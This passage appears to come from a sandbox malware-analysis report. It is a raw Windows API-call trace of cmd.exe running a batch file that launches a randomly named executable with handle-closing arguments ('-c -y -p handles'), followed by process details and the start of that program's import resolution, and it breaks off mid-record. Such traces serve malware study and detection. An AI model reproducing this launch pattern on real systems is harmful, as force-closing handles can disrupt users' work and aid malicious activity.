hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x2aedc4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x2aedc4*=0x26) returned 1 [0124.330] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.330] GetFileType (hFile=0x7) returned 0x2 [0124.330] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0124.330] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af01c | out: lpMode=0x2af01c) returned 1 [0124.331] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.331] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x2af048, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x2af048*=0x1) returned 1 [0124.331] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.331] GetFileType (hFile=0x7) returned 0x2 [0124.331] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0124.331] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af000 | out: lpMode=0x2af000) returned 1 [0124.332] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.332] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5f4be0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x2af02c, lpReserved=0x0 | out: lpBuffer=0x5f4be0*, lpNumberOfCharsWritten=0x2af02c*=0xc) returned 1 [0124.332] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af038 | out: _Buffer=" -accepteula -c -y -p handles -nobanner ") returned 41 [0124.332] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.332] GetFileType (hFile=0x7) returned 0x2 [0124.332] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0124.332] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeff8 | out: lpMode=0x2aeff8) returned 1 [0124.333] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.333] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x29, lpNumberOfCharsWritten=0x2af024, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af024*=0x29) returned 1 [0124.334] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af054 | out: _Buffer=") ") returned 2 [0124.334] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.334] GetFileType (hFile=0x7) returned 0x2 [0124.335] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0124.335] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af014 | out: lpMode=0x2af014) returned 1 [0124.335] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.335] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af040, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af040*=0x2) returned 1 [0124.335] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2af074 | out: _Buffer="\r\n") returned 2 [0124.335] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.335] GetFileType (hFile=0x7) returned 0x2 [0124.335] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0124.336] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af034 | out: lpMode=0x2af034) returned 1 [0124.336] _get_osfhandle (_FileHandle=1) returned 0x7 [0124.336] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af060*=0x2) returned 1 [0124.337] GetConsoleTitleW (in: lpConsoleTitle=0x2aeb84, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0124.339] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e46b0, lpFilePart=0x2ae6a4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ae6a4*="Desktop") returned 0x25 [0124.340] SetErrorMode (uMode=0x0) returned 0x1 [0124.340] GetProcessHeap () returned 0x5d0000 [0124.340] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e46a8, Size=0x6e) returned 0x5e46a8 [0124.340] GetProcessHeap () returned 0x5d0000 [0124.340] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e46a8) returned 0x6e [0124.340] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0124.340] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0124.340] GetProcessHeap () returned 0x5d0000 [0124.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x120) returned 0x5e4720 [0124.340] GetProcessHeap () returned 0x5d0000 [0124.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x238) returned 0x5e4848 [0124.341] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x2ae440, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ae440) returned 0x5e49f8 [0124.341] FindClose (in: hFindFile=0x5e49f8 | out: hFindFile=0x5e49f8) returned 1 [0124.341] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0124.341] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0124.341] GetConsoleTitleW (in: lpConsoleTitle=0x2ae918, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0124.342] InitializeProcThreadAttributeList (in: lpAttributeList=0x2ae7a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2ae868 | out: lpAttributeList=0x2ae7a0, lpSize=0x2ae868) returned 1 [0124.342] UpdateProcThreadAttribute (in: lpAttributeList=0x2ae7a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x2ae860, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2ae7a0, lpPreviousValue=0x0) returned 1 [0124.342] GetStartupInfoW (in: lpStartupInfo=0x2ae75c | out: lpStartupInfo=0x2ae75c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0124.342] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0124.342] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ae7fc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2ae848 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x2ae848*(hProcess=0x74, hThread=0x84, dwProcessId=0xfd0, dwThreadId=0xfd4)) returned 1 [0124.354] CloseHandle (hObject=0x84) returned 1 [0124.354] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0124.354] GetProcessHeap () returned 0x5d0000 [0124.354] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e76d8 | out: hHeap=0x5d0000) returned 1 [0124.354] GetEnvironmentStringsW () returned 0x5e6b50* [0124.354] GetProcessHeap () returned 0x5d0000 [0124.354] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb80) returned 0x5e76d8 [0124.354] FreeEnvironmentStringsW (penv=0x5e6b50) returned 1 [0124.354] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0126.286] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x2ae73c | out: lpExitCode=0x2ae73c*=0x0) returned 1 [0126.286] CloseHandle (hObject=0x74) returned 1 [0126.287] _vsnwprintf (in: _Buffer=0x2ae884, _BufferCount=0x13, _Format="%08X", _ArgList=0x2ae748 | out: _Buffer="00000000") returned 8 [0126.287] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0126.287] GetProcessHeap () returned 0x5d0000 [0126.287] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e76d8 | out: hHeap=0x5d0000) returned 1 [0126.287] GetEnvironmentStringsW () returned 0x5e6b50* [0126.287] GetProcessHeap () returned 0x5d0000 [0126.287] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb80) returned 0x5e76d8 [0126.287] FreeEnvironmentStringsW (penv=0x5e6b50) returned 1 [0126.287] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0126.287] GetProcessHeap () returned 0x5d0000 [0126.287] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e76d8 | out: hHeap=0x5d0000) returned 1 [0126.287] GetEnvironmentStringsW () returned 0x5e6b50* [0126.287] GetProcessHeap () returned 0x5d0000 [0126.287] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb80) returned 0x5e76d8 [0126.287] FreeEnvironmentStringsW (penv=0x5e6b50) returned 1 [0126.287] GetProcessHeap () returned 0x5d0000 [0126.287] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0dd0 | out: hHeap=0x5d0000) returned 1 [0126.287] DeleteProcThreadAttributeList (in: lpAttributeList=0x2ae7a0 | out: lpAttributeList=0x2ae7a0) [0126.287] GetProcessHeap () returned 0x5d0000 [0126.287] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4440 | out: hHeap=0x5d0000) returned 1 [0126.287] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.287] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0126.288] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.288] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0126.288] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.288] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0126.288] SetConsoleInputExeNameW () returned 0x1 [0126.288] GetConsoleOutputCP () returned 0x1b5 [0126.288] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0126.289] SetThreadUILanguage (LangId=0x0) returned 0x409 [0126.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2af16c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0126.289] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0126.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0126.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4978 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4848 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4720 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46a8 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f2c58 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4490 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4c20 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0de8 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4420 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0e00 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e43e8 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4388 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5df500 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4328 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e42c8 | out: hHeap=0x5d0000) returned 1 [0126.290] GetProcessHeap () returned 0x5d0000 [0126.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4250 | out: hHeap=0x5d0000) returned 1 [0126.291] GetProcessHeap () returned 0x5d0000 [0126.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e41f8 | out: hHeap=0x5d0000) returned 1 [0126.291] GetProcessHeap () returned 0x5d0000 [0126.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e36b0 | out: hHeap=0x5d0000) returned 1 [0126.291] GetProcessHeap () returned 0x5d0000 [0126.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e41a8 | out: hHeap=0x5d0000) returned 1 [0126.291] GetProcessHeap () returned 0x5d0000 [0126.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d1250 | out: hHeap=0x5d0000) returned 1 [0126.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0126.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0126.291] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2af150, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x2af150*=0x0, lpOverlapped=0x0) returned 1 [0126.291] GetLastError () returned 0x0 [0126.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0126.291] GetFileType (hFile=0x74) returned 0x1 [0126.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0126.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0126.291] GetProcessHeap () returned 0x5d0000 [0126.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4bd8 [0126.291] GetProcessHeap () returned 0x5d0000 [0126.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0126.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0126.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0126.292] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2af134, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x2af134*=0x0, lpOverlapped=0x0) returned 1 [0126.292] GetLastError () returned 0x0 [0126.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0126.292] GetFileType (hFile=0x74) returned 0x1 [0126.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0126.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0126.292] GetProcessHeap () returned 0x5d0000 [0126.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4bd8 [0126.292] GetProcessHeap () returned 0x5d0000 [0126.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0126.293] longjmp () [0126.293] _tell (_FileHandle=3) returned 226 [0126.293] _close (_FileHandle=3) returned 0 [0126.293] CmdBatNotification () returned 0x0 [0126.293] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.293] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0126.293] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.293] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0126.293] _get_osfhandle (_FileHandle=0) returned 0x3 [0126.293] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0126.294] SetConsoleInputExeNameW () returned 0x1 [0126.294] GetConsoleOutputCP () returned 0x1b5 [0126.294] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0126.294] SetThreadUILanguage (LangId=0x0) returned 0x409 [0126.294] exit (_Code=0) Process: id = "211" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x750d5000" os_pid = "0xf3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 802 os_tid = 0xf40 Thread: id = 803 os_tid = 0xf44 Thread: id = 804 os_tid = 0xf48 Process: id = "212" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x6a801000" os_pid = "0xf4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "188" os_parent_pid = "0xe4c" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 805 os_tid = 0xf50 [0115.791] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0115.791] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0115.791] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0115.791] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0115.791] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0115.791] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0115.791] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0115.791] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0115.792] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0115.793] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0115.794] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0115.795] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0115.796] GetProcAddress 